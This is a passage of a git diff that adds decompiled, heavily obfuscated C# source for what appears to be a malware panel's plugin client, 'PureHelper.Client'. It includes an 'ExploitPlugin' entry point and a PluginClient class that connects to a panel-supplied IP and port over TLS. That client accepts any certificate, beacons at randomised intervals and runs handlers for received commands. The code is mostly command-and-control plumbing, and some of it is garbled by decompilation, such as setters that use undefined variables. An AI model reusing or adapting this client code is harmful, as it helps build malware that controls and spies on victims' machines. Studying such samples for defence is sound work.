rj5iXMLSAv().Next(P_0, P_1); + } + + public vg5SL6i3qQbdPGqXycX() + { + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + base._002Ector(); + int num = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f657717d8f834c178c7cd09a108bbe65 == 0) + { + num = 0; + } + int num2 = default(int); + while (true) + { + switch (num) + { + case 0: + return; + } + if (num2 == 988) + { + num = num2; + continue; + } + return; + } + } + + static vg5SL6i3qQbdPGqXycX() + { + int num = 2; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + if (num == 990) + { + goto end_IL_0003; + } + goto case 2; + case 2: + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + num2 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_46dcb9aa916148e38083172ad031baf8 != 0) + { + num2 = 5; + } + break; + case 0: + return; + case 1: + HLmijejb2S = RandomNumberGenerator.Create(); + num2 = 4; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_0f09a9fa75334e429ef59f881dd368e7 == 0) + { + num2 = 0; + } + break; + } + continue; + end_IL_0003: + break; + } + } + } + + internal static bool AwgxQeLFWG6R6fpDdrt() + { + return NB7pb5LcatEN2Yxd7Q7 == null; + } + + internal static vg5SL6i3qQbdPGqXycX E0jKtIL7QkG9PnMoTpL() + { + return (vg5SL6i3qQbdPGqXycX)NB7pb5LcatEN2Yxd7Q7; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/E2tn7l8spQ8u1B4B4e/FHeE2G5KXmRiAnFP4C.cs b/decompiled/PanelPlugins/PureHelper.Client/E2tn7l8spQ8u1B4B4e/FHeE2G5KXmRiAnFP4C.cs new file mode 100644 index 0000000..c08e8af --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/E2tn7l8spQ8u1B4B4e/FHeE2G5KXmRiAnFP4C.cs @@ -0,0 +1,47 @@ +using PluginSDK.Interfaces; +using ProtoBuf; +using XW3iQq2AVWsC9kohc8a; + +namespace E2tn7l8spQ8u1B4B4e; + +[ProtoContract] +internal class FHeE2G5KXmRiAnFP4C : IPacket +{ + private static object GjITcaLIbpXouV0LlF9; + + public FHeE2G5KXmRiAnFP4C() + { + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + base._002Ector(); + int num = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_0e9f30f8c3eb41d0a6c7280f73d03d03 != 0) + { + num = 0; + } + int num2 = default(int); + while (true) + { + switch (num) + { + case 0: + return; + } + if (num2 == 988) + { + num = num2; + continue; + } + return; + } + } + + internal static bool LGknZRLRpy8SUSldxyY() + { + return GjITcaLIbpXouV0LlF9 == null; + } + + internal static FHeE2G5KXmRiAnFP4C xaagg2LCki3mV9wulx6() + { + return (FHeE2G5KXmRiAnFP4C)GjITcaLIbpXouV0LlF9; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ExploitPlugin/Core.cs b/decompiled/PanelPlugins/PureHelper.Client/ExploitPlugin/Core.cs new file mode 100644 index 0000000..7f99c09 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ExploitPlugin/Core.cs @@ -0,0 +1,27 @@ +using PluginSDK.Connection; +using PluginSDK.Interfaces; +using PluginSDK.Packets; + +namespace ExploitPlugin; + +public static class Core +{ + public static void Initialize(byte[] packet) + { + CustomPluginClient.Run(packet, OnPacketReceived); + } + + private static void OnPacketReceived(IPacket msg, PluginClient client) + { + try + { + client.Send(new CustomPacket + { + Buffer = new byte[1] { 1 } + }); + } + catch + { + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/JnnwJWiDLh7Po8eBVGw/SZZ4Q6i70wu0vk54Qir.cs b/decompiled/PanelPlugins/PureHelper.Client/JnnwJWiDLh7Po8eBVGw/SZZ4Q6i70wu0vk54Qir.cs new file mode 100644 index 0000000..c5dd622 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/JnnwJWiDLh7Po8eBVGw/SZZ4Q6i70wu0vk54Qir.cs @@ -0,0 +1,176 @@ +using System.Runtime.CompilerServices; +using PluginSDK.Interfaces; +using ProtoBuf; +using XW3iQq2AVWsC9kohc8a; + +namespace JnnwJWiDLh7Po8eBVGw; + +[ProtoContract] +internal class SZZ4Q6i70wu0vk54Qir : IPacket +{ + [CompilerGenerated] + private string nNZiHCBFW9; + + [CompilerGenerated] + private byte[] zhSi68yI5f; + + [CompilerGenerated] + private string iLEirCDdDs; + + private static object QJeaIALV6lpm9JAg2hY; + + [ProtoMember(1)] + public string B2Ni97l9Kh + { + [CompilerGenerated] + get + { + return nNZiHCBFW9; + } + [CompilerGenerated] + set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 0: + return; + case 1: + break; + } + goto IL_001e; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001e; + IL_001e: + nNZiHCBFW9 = text; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_26f406ee7475415ea8607e0d9d8ee024 != 0) + { + num2 = 6; + } + } + } + } + } + + [ProtoMember(2)] + public byte[] tqgiuNBHDh + { + [CompilerGenerated] + get + { + return zhSi68yI5f; + } + [CompilerGenerated] + set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 0: + return; + case 1: + zhSi68yI5f = array; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_cbc10b9a4f014e50ac3911f08194bec9 != 0) + { + num2 = 6; + } + continue; + } + break; + } + } + while (num == 989); + } + } + + [ProtoMember(3)] + public string BE7ieY7Lr7 + { + [CompilerGenerated] + get + { + return iLEirCDdDs; + } + [CompilerGenerated] + set + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 1: + iLEirCDdDs = text; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_b2745db0aa124bbc924b0dcb8892dfd1 == 0) + { + num2 = 3; + } + continue; + case 0: + return; + } + break; + } + } + while (num == 989); + } + } + + public SZZ4Q6i70wu0vk54Qir() + { + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + base._002Ector(); + int num = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_36d48b49d2a245aa8ddb9fb75060fde3 == 0) + { + num = 0; + } + int num2 = default(int); + while (true) + { + switch (num) + { + case 0: + return; + } + if (num2 == 988) + { + num = num2; + continue; + } + return; + } + } + + internal static bool t1bjatLQSXnqTXx1L7N() + { + return QJeaIALV6lpm9JAg2hY == null; + } + + internal static SZZ4Q6i70wu0vk54Qir qo7HnnLdFJ5ujn9qiuU() + { + return (SZZ4Q6i70wu0vk54Qir)QJeaIALV6lpm9JAg2hY; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/Microsoft.CodeAnalysis/protobuf-net.EmbeddedAttribute.cs b/decompiled/PanelPlugins/PureHelper.Client/Microsoft.CodeAnalysis/protobuf-net.EmbeddedAttribute.cs new file mode 100644 index 0000000..848aa62 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/Microsoft.CodeAnalysis/protobuf-net.EmbeddedAttribute.cs @@ -0,0 +1,10 @@ +using System; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis; + +[CompilerGenerated] +[protobuf_002Dnet_002EEmbedded] +internal sealed class protobuf_002Dnet_002EEmbeddedAttribute : Attribute +{ +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Connection/CustomPluginClient.cs b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Connection/CustomPluginClient.cs new file mode 100644 index 0000000..eff1cb0 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Connection/CustomPluginClient.cs @@ -0,0 +1,287 @@ +using System; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Threading; +using PluginSDK.Enums; +using PluginSDK.Interfaces; +using PluginSDK.Packets; +using ws1flOn4295GVZuW05j; + +namespace PluginSDK.Connection; + +[ComVisible(false)] +public static class CustomPluginClient +{ + [CompilerGenerated] + private static PluginClient C2xi8PhYW0; + + internal static CustomPluginClient qHJT1CL9EK4QyIihfdQ; + + public static PluginClient Client + { + [CompilerGenerated] + get + { + return C2xi8PhYW0; + } + [CompilerGenerated] + private set + { + C2xi8PhYW0 = c2xi8PhYW; + } + } + + public static void Run(byte[] packet, Action onPacketReceived) + { + int num = 1; + int num4 = default(int); + PluginClient pluginClient = default(PluginClient); + string extra = default(string); + int num3 = default(int); + string text2 = default(string); + string extraParameter = default(string); + int num10 = default(int); + int num7 = default(int); + int num9 = default(int); + while (true) + { + switch (num) + { + case 989: + break; + case 1: + try + { + ImPlugin imPlugin = (ImPlugin)Serialization.PacketDesirialize(packet); + int num2 = 2; + while (true) + { + string text; + switch (num2) + { + default: + if (num4 != 24) + { + if (num4 == 1004) + { + goto IL_0037; + } + goto case 9; + } + Client = pluginClient; + num2 = 11; + continue; + case 2: + extra = ""; + num2 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1f6b397b209f48209f6f78382abc0dd0 == 0) + { + num2 = 1; + } + continue; + case 11: + pluginClient.ReceivedMessageEvent += onPacketReceived; + num2 = 5; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_7ee321f1774e478e9a3977aac8e8bf0a != 0) + { + num2 = 21; + } + continue; + case 15: + num3 = text2.IndexOf('|'); + num2 = 3; + continue; + case 3: + if (num3 >= 0) + { + num2 = 24; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_ba6efaf0d2294319ae0da035931c22d1 != 0) + { + num2 = 12; + } + continue; + } + goto case 16; + case 16: + text = text2; + break; + case 9: + case 14: + pluginClient = new PluginClient(EnumPlugins.CustomPlugin); + num4 = 24; + goto IL_0037; + case 0: + text2 = extraParameter.Substring(teChAknSMwcsOKOlG5s.pNInuuWLfn(0x317612CF ^ _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_08f0ca6f783d4de086a0138e7d3650cd).Length); + num2 = 15; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_501ddf0930d6428bb18ddd3568b08e8e == 0) + { + num2 = 22; + } + continue; + case 10: + Thread.Sleep(2000); + num2 = 6; + continue; + case 1: + extraParameter = imPlugin.ExtraParameter; + num2 = 4; + continue; + case 6: + case 13: + if (!pluginClient.IsConnected) + { + num2 = 7; + continue; + } + goto case 10; + case 8: + if (!extraParameter.StartsWith(teChAknSMwcsOKOlG5s.pNInuuWLfn(0x72BB1F7C ^ _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f4a7715299884ff18f1cd79197380e6c))) + { + num2 = 14; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_bd4735a32b8243ab87438897f9b05148 == 0) + { + num2 = 15; + } + continue; + } + goto case 0; + case 5: + pluginClient.Connect(imPlugin.ClientInformation, extra); + num2 = 23; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_b3f8cb7184cb4b4993fb986967ec61f3 == 0) + { + num2 = 13; + } + continue; + case 4: + if (!string.IsNullOrEmpty(extraParameter)) + { + num2 = 8; + continue; + } + goto case 9; + case 12: + text = text2.Substring(0, num3); + break; + case 7: + return; + IL_0037: + num2 = num4; + continue; + } + extra = text; + num2 = 9; + } + } + finally + { + int num5 = 2; + while (true) + { + switch (num5) + { + default: + if (num10 == 990) + { + num5 = num10; + continue; + } + goto end_IL_0269; + case 0: + break; + case 2: + try + { + PluginClient client = Client; + int num6; + if (client == null) + { + num6 = 7; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_5e15ff1dd14a4e0a9b63367783e1c315 == 0) + { + num6 = 0; + } + } + else + { + client.Dispose(); + num6 = 5; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_fcfb1a55a15b47b2a0f4975f0e9f4fe5 != 0) + { + num6 = 1; + } + } + while (true) + { + switch (num6) + { + default: + if (num7 == 989) + { + num6 = num7; + continue; + } + break; + case 0: + break; + case 1: + break; + } + break; + } + } + catch + { + int num8 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_411a01a90e184ccea1d245585f590e75 != 0) + { + num8 = 3; + } + while (true) + { + switch (num8) + { + default: + if (num9 == 988) + { + num8 = num9; + continue; + } + break; + case 0: + break; + } + break; + } + } + break; + case 1: + goto end_IL_0269; + } + Client = null; + num5 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1b3d64cf90d3478ea689f41ea1de0e20 == 0) + { + num5 = 1; + } + continue; + end_IL_0269: + break; + } + } + default: + return; + } + } + } + + internal static bool E3dttaLW0slBFZGvph1() + { + return qHJT1CL9EK4QyIihfdQ == null; + } + + internal static CustomPluginClient rPDIXfLoJ4aYHhD8xcZ() + { + return qHJT1CL9EK4QyIihfdQ; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Connection/PluginClient.cs b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Connection/PluginClient.cs new file mode 100644 index 0000000..53f9d9a --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/PluginSDK.Connection/PluginClient.cs @@ -0,0 +1,1717 @@ +using System; +using System.Net.Security; +using System.Net.Sockets; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Threading; +using E19qRRiqHck2XO5krTU; +using E2tn7l8spQ8u1B4B4e; +using PluginSDK.Enums; +using PluginSDK.Interfaces; +using PluginSDK.Packets; +using XW3iQq2AVWsC9kohc8a; +using ws1flOn4295GVZuW05j; + +namespace PluginSDK.Connection; + +[ComVisible(false)] +public class PluginClient +{ + [CompilerGenerated] + private Action QYOnf4rxfk; + + [CompilerGenerated] + private bool hKbnioP5rI; + + private readonly int zNann1InO2; + + private Socket btgnmmtKTV; + + private SslStream mVTn2y0ryo; + + private readonly object F19nLsVPsg; + + private readonly object zrlnkFg4nO; + + private bool JgenJiy1Mg; + + private readonly EnumPlugins no9n1MpXgl; + + private Timer DaAnA4mVQA; + + private static PluginClient IFUa5RLux8P613hkmej; + + public bool IsConnected + { + [CompilerGenerated] + get + { + return hKbnioP5rI; + } + [CompilerGenerated] + private set + { + int num = 1; + while (true) + { + int num2 = num; + while (true) + { + switch (num2) + { + default: + goto IL_0010; + case 0: + return; + case 1: + break; + } + goto IL_001e; + IL_0010: + if (num == 989) + { + break; + } + goto IL_001e; + IL_001e: + hKbnioP5rI = flag; + num2 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_0eb6b5636bc94506af0ea669ffeed289 == 0) + { + num2 = 3; + } + } + } + } + } + + public event Action ReceivedMessageEvent + { + [CompilerGenerated] + add + { + int num = 2; + Action action2 = default(Action); + Action action = default(Action); + Action value2 = default(Action); + while (true) + { + int num2 = num; + while (true) + { + int num3 = num2; + while (true) + { + switch (num3) + { + default: + if (num2 != 11) + { + if (num2 == 992) + { + goto end_IL_0003; + } + } + else if ((object)action2 == action) + { + num3 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_9187d16b686d4b2fa356c9c894103305 != 0) + { + num3 = 4; + } + continue; + } + goto case 1; + case 2: + action2 = QYOnf4rxfk; + num3 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1f6b397b209f48209f6f78382abc0dd0 == 0) + { + num3 = 8; + } + continue; + case 0: + return; + case 1: + action = action2; + num3 = 3; + continue; + case 4: + break; + case 3: + value2 = (Action)Delegate.Combine(action, value); + num3 = 6; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_499e5150a96d46988d7849ddb38bfdad == 0) + { + num3 = 4; + } + continue; + } + goto end_IL_0002; + continue; + end_IL_0003: + break; + } + continue; + end_IL_0002: + break; + } + action2 = Interlocked.CompareExchange(ref QYOnf4rxfk, value2, action); + num = 8; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_499e5150a96d46988d7849ddb38bfdad == 0) + { + num = 11; + } + } + } + [CompilerGenerated] + remove + { + int num = 2; + Action value2 = default(Action); + Action action2 = default(Action); + Action action = default(Action); + while (true) + { + int num2 = num; + while (true) + { + int num3 = num2; + while (true) + { + switch (num3) + { + default: + if (num2 == 11) + { + value2 = (Action)Delegate.Remove(action2, value); + num3 = 4; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_3df293852b674529ae9bfb1be31083d8 == 0) + { + num3 = 0; + } + continue; + } + goto IL_0024; + case 1: + goto end_IL_0002; + case 0: + action = Interlocked.CompareExchange(ref QYOnf4rxfk, value2, action2); + num3 = 4; + continue; + case 4: + if ((object)action == action2) + { + num3 = 6; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_24faa0276f6f44618e997d66140f0229 == 0) + { + num3 = 3; + } + continue; + } + goto end_IL_0002; + case 2: + break; + case 3: + return; + } + goto IL_007b; + IL_0024: + if (num2 == 992) + { + break; + } + goto IL_007b; + IL_007b: + action = QYOnf4rxfk; + num3 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_8e047cd5a8d34c9289514eca26fdadb8 != 0) + { + num3 = 0; + } + } + continue; + end_IL_0002: + break; + } + action2 = action; + num = 11; + } + } + } + + public PluginClient(EnumPlugins p) + { + NBKP5U21DpWjdkoBBdj.YtEk5Wl7Vq(); + zNann1InO2 = 512000; + F19nLsVPsg = new object(); + zrlnkFg4nO = new object(); + base._002Ector(); + int num = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_fe1f37e4aea141f8a0d89c36daff63bf != 0) + { + num = 5; + } + int num2 = default(int); + while (true) + { + switch (num) + { + default: + if (num2 == 989) + { + num = num2; + break; + } + return; + case 0: + no9n1MpXgl = p; + num = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_24faa0276f6f44618e997d66140f0229 != 0) + { + num = 6; + } + break; + case 1: + return; + } + } + } + + public void Connect(ClientInformation clientInformation, string extra = null) + { + int num = 7; + int num8 = default(int); + int num5 = default(int); + int num7 = default(int); + while (true) + { + int num2 = num; + while (true) + { + int num3 = num2; + while (true) + { + switch (num3) + { + default: + if (num2 != 21) + { + if (num2 == 1002) + { + goto end_IL_0003; + } + goto case 2; + } + btgnmmtKTV.NoDelay = true; + num3 = 20; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f4b638c6bf3a4e12b0bb7266586eb369 != 0) + { + num3 = 5; + } + continue; + case 0: + mVTn2y0ryo.ReadTimeout = (int)TimeSpan.FromMinutes(5.0).TotalMilliseconds; + num3 = 3; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_b5967e50e137478cac39f365075d9072 != 0) + { + num3 = 10; + } + continue; + case 2: + Send(new ImPlugin + { + ClientInformation = clientInformation, + Plugin = no9n1MpXgl, + ExtraParameter = extra + }); + num3 = 10; + continue; + case 13: + DaAnA4mVQA = new Timer(riqiPCfqAb, null, (int)TimeSpan.FromSeconds((double)num8).TotalMilliseconds, (int)TimeSpan.FromSeconds((double)num8).TotalMilliseconds); + num3 = 2; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_2ce4858b84e94d819f0a317cc4129ea4 == 0) + { + num3 = 20; + } + continue; + case 1: + return; + case 6: + btgnmmtKTV.ReceiveBufferSize = zNann1InO2; + num3 = 4; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_d4a356c36b2e4f47a614526faef74694 == 0) + { + num3 = 14; + } + continue; + case 9: + throw new Exception(teChAknSMwcsOKOlG5s.pNInuuWLfn(0x403F249F ^ _003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_ba76871b56e54f669cda2d26609cc5b4)); + case 11: + mVTn2y0ryo.AuthenticateAsClient(btgnmmtKTV.RemoteEndPoint.ToString().Split(new char[1] { ':' })[0], null, SslProtocols.Tls, checkCertificateRevocation: false); + num3 = 8; + continue; + case 8: + IsConnected = true; + num3 = 14; + continue; + case 7: + btgnmmtKTV = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + num3 = 6; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_facf28e488a94c39b60d8c8a04f98a66 == 0) + { + num3 = 20; + } + continue; + case 14: + num8 = new vg5SL6i3qQbdPGqXycX().PmpibhxdgB(20, 60); + num3 = 13; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_67278bb431504846a19cc3a84ad5f349 == 0) + { + num3 = 13; + } + continue; + case 3: + mVTn2y0ryo.WriteTimeout = (int)TimeSpan.FromMinutes(5.0).TotalMilliseconds; + num3 = 8; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_499e5150a96d46988d7849ddb38bfdad == 0) + { + num3 = 11; + } + continue; + case 10: + ThreadPool.QueueUserWorkItem(delegate + { + int num9 = 1; + int num11 = default(int); + int num13 = default(int); + while (true) + { + switch (num9) + { + case 989: + break; + default: + return; + case 1: + try + { + cypiw9dgyu(); + int num10 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_46dcb9aa916148e38083172ad031baf8 != 0) + { + num10 = 1; + } + while (true) + { + switch (num10) + { + case 0: + return; + default: + if (num11 != 988) + { + return; + } + num10 = num11; + break; + } + } + } + catch + { + int num12 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_0e9f30f8c3eb41d0a6c7280f73d03d03 != 0) + { + num12 = 0; + } + while (true) + { + switch (num12) + { + case 0: + return; + default: + if (num13 != 988) + { + return; + } + num12 = num13; + break; + } + } + } + } + } + }); + num3 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_3df293852b674529ae9bfb1be31083d8 != 0) + { + num3 = 5; + } + continue; + case 4: + goto end_IL_0002; + case 12: + break; + case 5: + try + { + btgnmmtKTV.Connect(clientInformation.ConnectedIP, clientInformation.ConnectedPort); + int num4 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_d61a1db71a0e45e2a3390548bd7c7e60 != 0) + { + num4 = 5; + } + while (true) + { + switch (num4) + { + default: + if (num5 == 988) + { + num4 = num5; + continue; + } + break; + case 0: + break; + } + break; + } + } + catch + { + int num6 = 3; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_9ef44bdeb0384bb3a192f49113a29e33 != 0) + { + num6 = 0; + } + while (true) + { + switch (num6) + { + default: + if (num7 == 988) + { + num6 = num7; + continue; + } + break; + case 0: + break; + } + break; + } + } + break; + } + if (btgnmmtKTV.Connected) + { + mVTn2y0ryo = new SslStream(new NetworkStream(btgnmmtKTV, ownsSocket: true), leaveInnerStreamOpen: false, EShivOA2RH); + num3 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_9ef44bdeb0384bb3a192f49113a29e33 == 0) + { + num3 = 10; + } + } + else + { + num3 = 9; + } + continue; + end_IL_0003: + break; + } + continue; + end_IL_0002: + break; + } + btgnmmtKTV.SendBufferSize = zNann1InO2; + num = 21; + } + } + + private void riqiPCfqAb(object P_0) + { + int num = 1; + do + { + int num2 = num; + while (true) + { + switch (num2) + { + case 0: + return; + case 1: + Send(new FHeE2G5KXmRiAnFP4C()); + num2 = 6; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_781eb1dda25b44d79c819c3ebb4656dd != 0) + { + num2 = 0; + } + continue; + } + break; + } + } + while (num == 989); + } + + private bool EShivOA2RH(object P_0, X509Certificate P_1, X509Chain P_2, SslPolicyErrors P_3) + { + return true; + } + + private void cypiw9dgyu() + { + int num = 2; + int num11 = default(int); + int num6 = default(int); + int num5 = default(int); + int num12 = default(int); + byte[] array = default(byte[]); + bool lockTaken = default(bool); + object obj = default(object); + int num8 = default(int); + IPacket arg = default(IPacket); + int num10 = default(int); + int num15 = default(int); + while (true) + { + int num2 = num; + do + { + int num3 = num2; + while (true) + { + switch (num3) + { + default: + if (num2 == 12) + { + num11 = 0; + num3 = 4; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_1f6b397b209f48209f6f78382abc0dd0 == 0) + { + num3 = 12; + } + continue; + } + goto end_IL_0003; + case 4: + num6 = 0; + num3 = 0; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_b3f8cb7184cb4b4993fb986967ec61f3 != 0) + { + num3 = 12; + } + continue; + case 2: + num5 = 4; + num3 = 1; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_f657717d8f834c178c7cd09a108bbe65 == 0) + { + num3 = 5; + } + continue; + case 3: + Dispose(); + num3 = 5; + continue; + case 1: + break; + case 5: + return; + case 0: + try + { + while (true) + { + int num4; + if (!IsConnected) + { + num4 = 32; + if (_003CModule_003E_007Bcc855980_002Dbf4d_002D4da3_002D96c7_002D14d69de0c9ee_007D.m_271cb415f2384f7a8af2439f61d79e09.m_98964c4f10f043cdb63e39d1f20974f7 == 0) + { + num4 = 0; + } + goto IL_00b1; + } + goto IL_0235; + IL_00b1: + while (true) + { + switch (num4) + { + default: + if (num12 != 40) + { + if (num12 == 1020) + { + goto IL_00af; + } + goto case 20; + } + goto case 14; + case 2: + throw new Exception(); + case 0: + case 27: + if (num5 == 0) + { + num4 = 22; + continue; + } + goto case 24; + case 16: + break; + case 13: + if (num6 